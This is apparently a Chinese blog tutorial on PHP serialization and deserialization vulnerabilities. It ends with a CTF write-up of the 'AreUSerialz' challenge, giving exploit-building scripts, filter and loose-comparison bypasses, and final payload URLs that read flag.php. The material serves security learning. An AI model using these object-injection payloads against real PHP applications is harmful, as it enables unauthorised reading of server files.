浅谈PHP反序列化漏洞【一】

浅谈PHP反序列化漏洞

0x00.前置知识

PHP大佬请跳至0x01.PHP反序列化漏洞

序列化

PHP程序为了保存和转储对象,提供了序列化的方法,PHP序列化是为了在程序运行的过程中对对象进行转储而产生的。在序列化期间,对象将当前状态写入到临时或持久性存储区。

序列化:将对象转换成字符串。利用函数serialize()实现

反序列化:将序列化后的字符串转换为对象。利用函数unserialize()实现

new一个对象将其实例化,了解序列化后字符串的格式

<?php
class Nets {
    public $name = 'harden';
    protected $age = 31;
    private $country = 'kk';
    public function set_country($country)
    {
        $this->country = $country;
    }
    public function get_country()
    {
        return $this->country;
    }
}

$harden = new Nets();
$harden->set_country('USA');
$str_harden = serialize($harden); //将对象序列化成字符串
echo '<pre>';
echo $str_harden;
file_put_contents('./nets.txt', $str_harden);

image-20210414144058258

序列化后的通用表达式:

O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>}

下图解析:

image-20210414145850511

观察序列化后的字符串我们可以得出以下结论

  • 序列化只序列化类属性,不序列化类方法
  • 不同的权限的类属性的格式是不同的

php为了能把整个类对象的各种信息完完整整的压缩,格式化,必然也会将属性的权限序列化进去,即不同的访问修饰符序列化后格式如下:

  • Public: 属性名与其长度一致

    public $name = 'harden';
    		|
    		|
    s:4:"name";s:6:"harden";
    
  • Protected%00*%00属性名

    protected $age = 31;
    		|
    		|
    s:6:"*age";i:31;  //%00空字符不显示,因此属性长度为6
    
  • Private%00类名%00属性名

    private $country = 'kk';
    		|
    		|
    s:13:"Netscountry";s:3:"USA"; //%00白字符不显示,因此属性长度为13
    

我们使用010 editor打开序列化后保存的nets.txt

image-20210415095614652

image-20210414153011857

反序列化

<?php
class Nets {
    public $name = 'harden';
    protected $age = 31;
    private $country = 'kk';
    public function set_country($country)
    {
        $this->country = $country;
    }
    public function get_country()
    {
        return $this->country;
    }
}

$str_harden = file_get_contents('./nets.txt');
$harden = unserialize($str_harden); //将字符串反序列化成对象
echo $harden->get_country();
echo '<pre>';
var_dump($harden);

image-20210414153539419

可以看到,$harden这个对象成功被还原为序列化时的状态,需注意:反序列化的时候一定要保证在当前的作用域环境下可访问该类

魔术方法

PHP中把以两个下划线__开头的方法称为魔术方法,这些方法在PHP中充当了举足轻重的作用。魔术方法都是某种条件下自动执行的方法

__construct()         //创建对象时触发
__destruct()          //对象被销毁时触发
    
__wakeup()			//使用unserialize时触发
__sleep()			//使用serialize时触发
    
__call()              //在对象上下文中调用不可访问的方法时触发
__callStatic()        //在静态上下文中调用不可访问的方法时触发
    
__get()               //用于从无法访问的属性读取数据
__set()               //用于将数据写入无法访问的属性
__isset()             //在不可访问的属性上调用isset()或empty()触发
__unset()             //在不可访问的属性上使用unset()时触发
    
__invoke()            //将对象当作函数调用时触发
__toString()		//把对象当作字符串使用时触发

我们可以测试下与序列化反序列化相关的魔术方法的触发顺序

<?php
class Test {
    public $name = "f4ke";
    private $passwd = "123456";

    public function get_name()
    {
        echo $this->name."<br>";
    }
    public function __construct()
    {
        echo "function __construct is running!"."<br />";
    }

    public function __sleep()
    {
        echo "function __sleep is running!"."<br />";
        return array('name', 'passwd');
    }

    public function __wakeup()
    {
        echo "function __wakeup is running!"."<br />";
    }

    public function __destruct()
    {
        echo "function __destruct is running!"."<br />";
    }
}

// 创建Test对象,触发__construct
$obj = new Test();
// 序列化,触发__sleep
$str = serialize($obj);
echo $str."<br>";
// 反序列化,触发__wakeup
$obj2 = unserialize($str);
$obj2->get_name();
//print_r($str);

image-20210414173907310

0x01.PHP反序列化漏洞

序列化是为了方便对象的传递,节省资源,把对象序列化为一个字符串进行存储,需要用到的时候再反序列化为对象,序列化和反序列化的过程中会自带很多魔术方法

因此,在进行反序列化时,伴随触发的魔术方法被用户输入可控,就有可能存在反序列化漏洞,即反序列化函数 unserialize() 是我们攻击的入口,配合魔术方法就可以形成反序列化漏洞

下面通过一道CTF赛题学习如何利用反序列化漏洞

【AreUSerialz】

image-20210415090706371

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

代码分析如下:

FileHandler类功能

  • 文件处理,根据属性op的值来判断读写文件

执行流程

  • GET方法传入$stris_valid方法过滤不可见字符,进而将传入的$str反序列化为对象$obj
  • 此时PHP脚本执行结束,在销毁对象$obj时,会触发__destruct()方法
  • __destruct()函数中强制将op置“1”,并调用process()方法
  • process()方法通过判断op的值进行写文件的操作

根据文件开头包含flag.php,我们需要通过str参数的输入来成功利用FileHandler类的文件读功能输出flag

根据执行流程我们知道脚本正常执行的情况下,str参数的输入字符串范围只能在ASCII码的[32-125]范围,且只能调用write()方法进行写操作

显然,我们需要编写序列化的代码,并绕过这两个限制,才能成功读取flag.php

  1. 绕过is_valid

PHP序列化的时候private和protected变量会引入不可见空字符\x00,在is_valid函数中被过滤无法反序列化

两种方法可以绕过过滤:

  • 利用php>7.1版本对类属性的检测不严格(对属性类型不敏感)

    在编写漏洞利用代码时将portected属性换成public属性即可

    <?php
    class FileHandler {
    
        public $op = "2";
        public $filename = "flag.php";
        public $content = "123456";
    }
    $obj = new FileHandler();
    $str = serialize($obj);
    file_put_contents("./file.txt", $str);
    echo $str; 
    // O:11:"FileHandler":3:{s:2:"op";s:1:"2";s:8:"filename";s:8:"flag.php";s:7:"content";s:6:"123456";}
    
  • 在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。比如

    s:5:"A<null_byte>B<cr><lf>"; ---->  S:5:"A\00B\09\0D";
    
    <?php
    class FileHandler {
    
        protected $op = "2";
        protected $filename = "flag.php";
        protected $content = "123456";
    }
    $obj = new FileHandler();
    $str = serialize($obj);
    file_put_contents("./file.txt", $str);
    echo $str;
    // O:11:"FileHandler":3:{s:5:" * op";s:1:"2";s:11:" * filename";s:8:"flag.php";s:10:" * content";s:6:"123456";}
    

    即,将s->S且空字符NUL->\00处理

    O:11:"FileHandler":3:{s:5:" * op";s:1:"2";s:11:" * filename";s:8:"flag.php";s:10:" * content";s:6:"123456";}
    					|
    					|
    					|
    O:11:"FileHandler":3:{S:5:"\00*\00op";S:1:"2";S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:6:"123456";}
    
  1. 弱类型绕过$this->op判断

要想读取flag.php,必然要使op==="2"不成立且op=="2"成立

  • ===强类型比较 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
  • == **弱类型比较 ** 在进行比较的时候,会将字符转化为相同类型,再进行比较 (如果比较涉及数字内容的字符串,则字符串会被转换成数值并且按照转化后的数值进行比较)

因此op可以设置如下值即可绕过执行read()方法:

$op = " 2";
$op = 2;

最终的编写利用代码 (其中一种) :

<?php
class FileHandler {

    public $op = " 2";
    public $filename = "flag.php";
    public $content = "123456";
}
$obj = new FileHandler();
$str = serialize($obj);
file_put_contents("./file.txt", $str);
echo $str; 

最终请求payload如下:

http://xxx.cn/?str=O:11:"FileHandler":3:{S:5:"\00*\00op";S:2:" 2";S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:6:"123456";}
http://xxx.cn/?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:6:"123456";}

成功读取flag

image-20210415144442624

参考

PHP反序列化学习与实践

一文让PHP反序列化从入门到进阶

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值